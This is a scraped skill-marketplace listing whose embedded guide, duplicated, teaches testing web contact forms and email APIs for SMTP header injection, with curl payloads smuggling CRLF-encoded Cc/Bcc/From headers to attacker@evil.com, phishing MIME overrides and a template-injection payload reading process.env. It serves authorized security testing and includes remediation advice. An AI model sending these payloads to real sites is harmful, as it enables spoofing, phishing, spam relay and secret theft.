[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71DAN7DQ64W83AWAJ28ZEPF":3,"skill-same:01M71DAN7DQ64W83AWAJ28ZEPF":97},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":14,"repositoryHtmlUrl":73,"repositoryHomepageUrl":6,"ownerHtmlUrl":74,"ownerBlogUrl":6,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M71DAN7DQ64W83AWAJ28ZEPF","artifact-forensics-analyze",null,"Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Femail\u002Fartifact\u002Fforensics\u002Fanalyze\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000005","邮件与沟通","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"artifact","artifact forensics analyze","forensics","analyze","security","injection","forms","headers","read","test web","de","Bash","cybersecurity","spam","cm","contact-form","spam-relay","header-injection","crlf-injection","smtp-injection","2026-11-10 10:12:30",false,"---\nname: artifact-forensics-analyze\ndescription: Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- email-injection\n- smtp-injection\n- crlf-injection\n- header-injection\n- spam-relay\n- contact-form\n- email-security\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\ncwe:\n- CWE-113\ncapec: []\n---\n\n# Testing for Email Header Injection\n\n## When to Use\n- When testing contact forms, feedback forms, or \"email a friend\" functionality\n- During assessment of password reset email functionality\n- When testing newsletter subscription or notification email systems\n- During penetration testing of applications that send emails based on user input\n- When auditing email-related API endpoints for header injection\n\n## Prerequisites\n- Burp Suite for intercepting and modifying HTTP requests\n- Understanding of SMTP protocol and email header structure\n- Knowledge of CRLF injection techniques (\\r\\n sequences)\n- Test email accounts for receiving injected emails\n- Access to application features that trigger email sending\n- SMTP server logs access for monitoring injection attempts\n\n## Workflow\n\n### Step 1 — Identify Email Injection Points\n```bash\n# Identify form fields that end up in email headers:\n# - \"From\" name or email address fields\n# - \"To\" or \"CC\" fields in sharing features\n# - Subject line inputs\n# - Reply-To fields\n\n# Common endpoints:\n# POST \u002Fcontact - Contact forms\n# POST \u002Fshare - Share via email features\n# POST \u002Finvite - Invitation systems\n# POST \u002Fapi\u002Fsend-email - Email API endpoints\n# POST \u002Fforgot-password - Password reset forms\n\n# Test basic functionality first\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello&message=Test message\"\n```\n\n### Step 2 — Test for CRLF Header Injection\n```bash\n# Inject additional email headers via CRLF in the email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test\"\n\n# Inject BCC header\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test\"\n\n# Inject via the name field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test\"\n\n# Inject via subject field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test\"\n\n# Try different CRLF encoding variants\n# %0D%0A (CRLF)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0D%0ACc:attacker@evil.com\"\n\n# %0A (LF only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ACc:attacker@evil.com\"\n\n# %0D (CR only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0DCc:attacker@evil.com\"\n\n# Double encoding\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%250ACc:attacker@evil.com\"\n```\n\n### Step 3 — Inject Custom Email Content\n```bash\n# Override email body by injecting Content-Type and body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:text\u002Fhtml%0A%0A\u003Ch1>Phishing\u003C\u002Fh1>\"\n\n# Inject additional MIME parts\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:multipart\u002Fmixed;boundary=boundary123%0A--boundary123%0AContent-Type:text\u002Fhtml%0A%0A\u003Cscript>alert(1)\u003C\u002Fscript>\"\n\n# Override From header for email spoofing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AFrom:ceo@target.com\"\n\n# Inject Reply-To for phishing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AReply-To:attacker@evil.com\"\n```\n\n### Step 4 — Test IMAP\u002FSMTP Injection\n```bash\n# IMAP command injection via email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fwebmail\u002Fsearch \\\n  -d \"query=test%0AEXAMINE INBOX\"\n\n# SMTP command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend \\\n  -d \"to=test@test.com%0ARCPT TO:attacker@evil.com\"\n\n# SMTP VRFY command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -d \"email=test@test.com%0AVRFY admin\"\n\n# Test SMTP relay abuse\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com\"\n```\n\n### Step 5 — Test JSON-Based Email APIs\n```bash\n# JSON API header injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\\nCc:attacker@evil.com\",\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Array injection for multiple recipients\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":[\"test@test.com\",\"attacker@evil.com\"],\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Template injection in email body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\",\"subject\":\"Test\",\"body\":\"{{constructor.constructor(\\\"return process.env\\\")()}}\"}'\n```\n\n### Step 6 — Validate Findings\n```bash\n# Check if injected CC\u002FBCC emails were received\n# Monitor attacker@evil.com inbox for received copies\n\n# Verify header injection via email raw source\n# In received email, check \"View Original\" or \"Show Headers\"\n# Look for injected Cc:, Bcc:, From:, or Reply-To: headers\n\n# Test if the application is usable as a spam relay\n# by injecting multiple recipients in BCC\n\n# Document the full injection chain\n# 1. Injection point (which field)\n# 2. Encoding required (CRLF, URL encoding)\n# 3. Impact (spam relay, phishing, data theft)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |\n| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |\n| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |\n| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |\n| MIME Manipulation | Injecting MIME boundaries to override email body content |\n| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |\n| Newline Characters | \\r\\n (CRLF), \\n (LF), \\r (CR) used to separate email headers |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for modifying email-related form submissions |\n| swaks | Swiss Army Knife for SMTP testing and header injection validation |\n| OWASP ZAP | Automated scanner with email injection detection |\n| mailhog | Local SMTP testing server for capturing injected emails |\n| smtp4dev | Development SMTP server for monitoring email injection results |\n| Nuclei | Template scanner with email header injection detection templates |\n\n## Common Scenarios\n\n1. **Spam Relay** — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain\n2. **Phishing via Contact Form** — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization\n3. **Password Reset Hijack** — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim\n4. **Email Content Override** — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content\n5. **Internal Email Abuse** — Use header injection to send emails to internal addresses not normally accessible through the application\n\n## Output Format\n\n```\n## Email Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fcontact\n- **Injection Point**: email field in contact form\n- **Encoding Required**: URL-encoded LF (%0A)\n\n### Findings\n| # | Field | Payload | Result | Severity |\n|---|-------|---------|--------|----------|\n| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |\n| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |\n| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |\n\n### Remediation\n- Validate email addresses with strict regex rejecting newline characters\n- Strip \\r, \\n, and encoded variants from all email-related input\n- Use parameterized email APIs that separate headers from data\n- Implement rate limiting on email-sending functionality\n```\n","# Testing for Email Header Injection\n\n## When to Use\n- When testing contact forms, feedback forms, or \"email a friend\" functionality\n- During assessment of password reset email functionality\n- When testing newsletter subscription or notification email systems\n- During penetration testing of applications that send emails based on user input\n- When auditing email-related API endpoints for header injection\n\n## Prerequisites\n- Burp Suite for intercepting and modifying HTTP requests\n- Understanding of SMTP protocol and email header structure\n- Knowledge of CRLF injection techniques (\\r\\n sequences)\n- Test email accounts for receiving injected emails\n- Access to application features that trigger email sending\n- SMTP server logs access for monitoring injection attempts\n\n## Workflow\n\n### Step 1 — Identify Email Injection Points\n```bash\n# Identify form fields that end up in email headers:\n# - \"From\" name or email address fields\n# - \"To\" or \"CC\" fields in sharing features\n# - Subject line inputs\n# - Reply-To fields\n\n# Common endpoints:\n# POST \u002Fcontact - Contact forms\n# POST \u002Fshare - Share via email features\n# POST \u002Finvite - Invitation systems\n# POST \u002Fapi\u002Fsend-email - Email API endpoints\n# POST \u002Fforgot-password - Password reset forms\n\n# Test basic functionality first\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello&message=Test message\"\n```\n\n### Step 2 — Test for CRLF Header Injection\n```bash\n# Inject additional email headers via CRLF in the email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test\"\n\n# Inject BCC header\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test\"\n\n# Inject via the name field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test\"\n\n# Inject via subject field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test\"\n\n# Try different CRLF encoding variants\n# %0D%0A (CRLF)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0D%0ACc:attacker@evil.com\"\n\n# %0A (LF only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ACc:attacker@evil.com\"\n\n# %0D (CR only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0DCc:attacker@evil.com\"\n\n# Double encoding\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%250ACc:attacker@evil.com\"\n```\n\n### Step 3 — Inject Custom Email Content\n```bash\n# Override email body by injecting Content-Type and body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:text\u002Fhtml%0A%0A\u003Ch1>Phishing\u003C\u002Fh1>\"\n\n# Inject additional MIME parts\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:multipart\u002Fmixed;boundary=boundary123%0A--boundary123%0AContent-Type:text\u002Fhtml%0A%0A\u003Cscript>alert(1)\u003C\u002Fscript>\"\n\n# Override From header for email spoofing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AFrom:ceo@target.com\"\n\n# Inject Reply-To for phishing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AReply-To:attacker@evil.com\"\n```\n\n### Step 4 — Test IMAP\u002FSMTP Injection\n```bash\n# IMAP command injection via email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fwebmail\u002Fsearch \\\n  -d \"query=test%0AEXAMINE INBOX\"\n\n# SMTP command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend \\\n  -d \"to=test@test.com%0ARCPT TO:attacker@evil.com\"\n\n# SMTP VRFY command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -d \"email=test@test.com%0AVRFY admin\"\n\n# Test SMTP relay abuse\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com\"\n```\n\n### Step 5 — Test JSON-Based Email APIs\n```bash\n# JSON API header injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\\nCc:attacker@evil.com\",\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Array injection for multiple recipients\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":[\"test@test.com\",\"attacker@evil.com\"],\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Template injection in email body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\",\"subject\":\"Test\",\"body\":\"{{constructor.constructor(\\\"return process.env\\\")()}}\"}'\n```\n\n### Step 6 — Validate Findings\n```bash\n# Check if injected CC\u002FBCC emails were received\n# Monitor attacker@evil.com inbox for received copies\n\n# Verify header injection via email raw source\n# In received email, check \"View Original\" or \"Show Headers\"\n# Look for injected Cc:, Bcc:, From:, or Reply-To: headers\n\n# Test if the application is usable as a spam relay\n# by injecting multiple recipients in BCC\n\n# Document the full injection chain\n# 1. Injection point (which field)\n# 2. Encoding required (CRLF, URL encoding)\n# 3. Impact (spam relay, phishing, data theft)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |\n| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |\n| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |\n| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |\n| MIME Manipulation | Injecting MIME boundaries to override email body content |\n| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |\n| Newline Characters | \\r\\n (CRLF), \\n (LF), \\r (CR) used to separate email headers |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for modifying email-related form submissions |\n| swaks | Swiss Army Knife for SMTP testing and header injection validation |\n| OWASP ZAP | Automated scanner with email injection detection |\n| mailhog | Local SMTP testing server for capturing injected emails |\n| smtp4dev | Development SMTP server for monitoring email injection results |\n| Nuclei | Template scanner with email header injection detection templates |\n\n## Common Scenarios\n\n1. **Spam Relay** — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain\n2. **Phishing via Contact Form** — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization\n3. **Password Reset Hijack** — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim\n4. **Email Content Override** — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content\n5. **Internal Email Abuse** — Use header injection to send emails to internal addresses not normally accessible through the application\n\n## Output Format\n\n```\n## Email Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fcontact\n- **Injection Point**: email field in contact form\n- **Encoding Required**: URL-encoded LF (%0A)\n\n### Findings\n| # | Field | Payload | Result | Severity |\n|---|-------|---------|--------|----------|\n| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |\n| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |\n| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |\n\n### Remediation\n- Validate email addresses with strict regex rejecting newline characters\n- Strip \\r, \\n, and encoded variants from all email-related input\n- Use parameterized email APIs that separate headers from data\n- Implement rate limiting on email-sending functionality\n```\n",{"cwe":52,"name":5,"tags":54,"capec":57,"model":58,"tools":59,"domain":39,"maxTurns":63,"nist_csf":64,"subdomain":69,"description":7},[53],"CWE-113",[55,46,45,44,43,42,56],"email-injection","email-security",[],"sonnet",[60,38,61,62],"Read","Glob","Grep",20,[65,66,67,68],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Femail\u002Fartifact\u002Fforensics\u002Fanalyze","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill artifact-forensics-analyze",{"tool":83,"command":84},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill artifact-forensics-analyze",{"tool":86,"command":87},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill artifact-forensics-analyze","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Femail\u002Fartifact\u002Fforensics\u002Fanalyze\u002FSKILL.md",true,[91],{"path":92,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"index.json","REFERENCE","参考文档",687,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Femail\u002Fartifact\u002Fforensics\u002Fanalyze\u002Findex.json",[98,120,141,160,182,197],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":47},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[105,106,107,108,109,37,41,110,111,112,113,114,115,116,117,118,29,39,119],"services","detect","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","process-forensics",{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":47},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[127,105,128,108,129,130,131,39,38,132,133,134,135,136,37,137,138,35,139,140],"exploit","services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":142,"name":143,"nameZh":6,"description":144,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":145,"categories":146,"keywords":147,"publishedAt":47},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[27,148,149,150,151,152,39,38,153,132,30,154,37,35,155,156,157,158,159,58],"registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":166,"publishedAt":47},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[106,167,168,169,170,171,172,41,173,39,119,174,175,176,177,178,179,180,181,37],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":188,"publishedAt":47},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[189,190,106,32,169,171,191,41,192,173,39,119,132,193,194,195,196,181,37,110],"thread","processes thread injection detect","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":203,"publishedAt":47},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[204,106,169,205,191,41,206,207,39,119,208,209,210,211,212,213,37,110,214,34],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched"]